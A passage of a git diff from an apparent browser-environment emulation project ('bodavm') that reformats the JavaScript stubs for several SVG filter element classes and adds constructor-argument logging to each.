-bodavm.memory.globalobj['SVGFESpotLightElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFESpotLightElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "z_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "pointsAtX", {configurable:true, enumerable:true, get:function pointsAtX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "pointsAtX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "pointsAtY", {configurable:true, enumerable:true, get:function pointsAtY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "pointsAtY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "pointsAtZ", {configurable:true, enumerable:true, get:function pointsAtZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "pointsAtZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "specularExponent", {configurable:true, enumerable:true, get:function specularExponent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "specularExponent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "limitingConeAngle", {configurable:true, enumerable:true, get:function limitingConeAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "limitingConeAngle_get", arguments)}, set:undefined},'prototype'); +// SVGFESpotLightElement对象 + +bodavm.memory.globalobj['SVGFESpotLightElement'] = function SVGFESpotLightElement() { + console.log_copy('SVGFESpotLightElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFESpotLightElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFESpotLightElement'], "SVGFESpotLightElement"); +bodavm.memory.globalobj['SVGFESpotLightElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFESpotLightElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "z_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "pointsAtX", { + configurable: true, + enumerable: true, + get: function pointsAtX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "pointsAtX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "pointsAtY", { + configurable: true, + enumerable: true, + get: function pointsAtY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "pointsAtY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "pointsAtZ", { + configurable: true, + enumerable: true, + get: function pointsAtZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "pointsAtZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "specularExponent", { + configurable: true, + enumerable: true, + get: function specularExponent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "specularExponent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "limitingConeAngle", { + configurable: true, + enumerable: true, + get: function limitingConeAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "limitingConeAngle_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFETileElement.js b/env_xbb_lastest_jsdom/env/SVGFETileElement.js index 24172d77..a97a4e70 100644 --- a/env_xbb_lastest_jsdom/env/SVGFETileElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFETileElement.js @@ -1,11 +1,67 @@ -// SVGFETileElement对象 -bodavm.memory.globalobj['SVGFETileElement'] = function SVGFETileElement(){if (!(this instanceof SVGFETileElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFETileElement'], "SVGFETileElement"); -bodavm.memory.globalobj['SVGFETileElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFETileElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFETileElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETileElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETileElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETileElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETileElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETileElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFETileElement对象 + +bodavm.memory.globalobj['SVGFETileElement'] = function SVGFETileElement() { + console.log_copy('SVGFETileElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFETileElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFETileElement'], "SVGFETileElement"); +bodavm.memory.globalobj['SVGFETileElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFETileElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFETileElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETileElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETileElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETileElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETileElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETileElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFETurbulenceElement.js b/env_xbb_lastest_jsdom/env/SVGFETurbulenceElement.js index 7fda7bb0..c273cd87 100644 --- a/env_xbb_lastest_jsdom/env/SVGFETurbulenceElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFETurbulenceElement.js @@ -1,28 +1,179 @@ -// SVGFETurbulenceElement对象 -bodavm.memory.globalobj['SVGFETurbulenceElement'] = function SVGFETurbulenceElement(){if (!(this instanceof SVGFETurbulenceElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFETurbulenceElement'], "SVGFETurbulenceElement"); -bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFETurbulenceElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_NOSTITCH", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_STITCH", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_TURBULENCE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_FRACTALNOISE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_NOSTITCH", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_STITCH", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_TURBULENCE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_FRACTALNOISE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "baseFrequencyX", {configurable:true, enumerable:true, get:function baseFrequencyX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "baseFrequencyX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "baseFrequencyY", {configurable:true, enumerable:true, get:function baseFrequencyY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "baseFrequencyY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "numOctaves", {configurable:true, enumerable:true, get:function numOctaves (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "numOctaves_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "seed", {configurable:true, enumerable:true, get:function seed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "seed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "stitchTiles", {configurable:true, enumerable:true, get:function stitchTiles (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "stitchTiles_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFETurbulenceElement对象 + +bodavm.memory.globalobj['SVGFETurbulenceElement'] = function SVGFETurbulenceElement() { + console.log_copy('SVGFETurbulenceElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFETurbulenceElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFETurbulenceElement'], "SVGFETurbulenceElement"); +bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFETurbulenceElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_NOSTITCH", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_STITCH", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_TURBULENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_FRACTALNOISE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_NOSTITCH", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_STITCH", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_TURBULENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_FRACTALNOISE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "baseFrequencyX", { + configurable: true, + enumerable: true, + get: function baseFrequencyX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "baseFrequencyX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "baseFrequencyY", { + configurable: true, + enumerable: true, + get: function baseFrequencyY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "baseFrequencyY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "numOctaves", { + configurable: true, + enumerable: true, + get: function numOctaves() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "numOctaves_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "seed", { + configurable: true, + enumerable: true, + get: function seed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "seed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "stitchTiles", { + configurable: true, + enumerable: true, + get: function stitchTiles() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "stitchTiles_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFilterElement.js b/env_xbb_lastest_jsdom/env/SVGFilterElement.js index 36b3732d..cb6d9486 100644 --- a/env_xbb_lastest_jsdom/env/SVGFilterElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFilterElement.js @@ -1,12 +1,75 @@ -// SVGFilterElement对象 -bodavm.memory.globalobj['SVGFilterElement'] = function SVGFilterElement(){if (!(this instanceof SVGFilterElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFilterElement'], "SVGFilterElement"); -bodavm.memory.globalobj['SVGFilterElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFilterElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFilterElement', "filterUnits", {configurable:true, enumerable:true, get:function filterUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "filterUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFilterElement', "primitiveUnits", {configurable:true, enumerable:true, get:function primitiveUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "primitiveUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFilterElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFilterElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFilterElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFilterElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFilterElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "href_get", arguments)}, set:undefined},'prototype'); +// SVGFilterElement对象 + +bodavm.memory.globalobj['SVGFilterElement'] = function SVGFilterElement() { + console.log_copy('SVGFilterElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFilterElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFilterElement'], "SVGFilterElement"); +bodavm.memory.globalobj['SVGFilterElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFilterElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFilterElement', "filterUnits", { + configurable: true, + enumerable: true, + get: function filterUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "filterUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFilterElement', "primitiveUnits", { + configurable: true, + enumerable: true, + get: function primitiveUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "primitiveUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFilterElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFilterElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFilterElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFilterElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFilterElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGForeignObjectElement.js b/env_xbb_lastest_jsdom/env/SVGForeignObjectElement.js index d64ed2a6..7dd7f98a 100644 --- a/env_xbb_lastest_jsdom/env/SVGForeignObjectElement.js +++ b/env_xbb_lastest_jsdom/env/SVGForeignObjectElement.js @@ -1,9 +1,51 @@ -// SVGForeignObjectElement对象 -bodavm.memory.globalobj['SVGForeignObjectElement'] = function SVGForeignObjectElement(){if (!(this instanceof SVGForeignObjectElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGForeignObjectElement'], "SVGForeignObjectElement"); -bodavm.memory.globalobj['SVGForeignObjectElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; 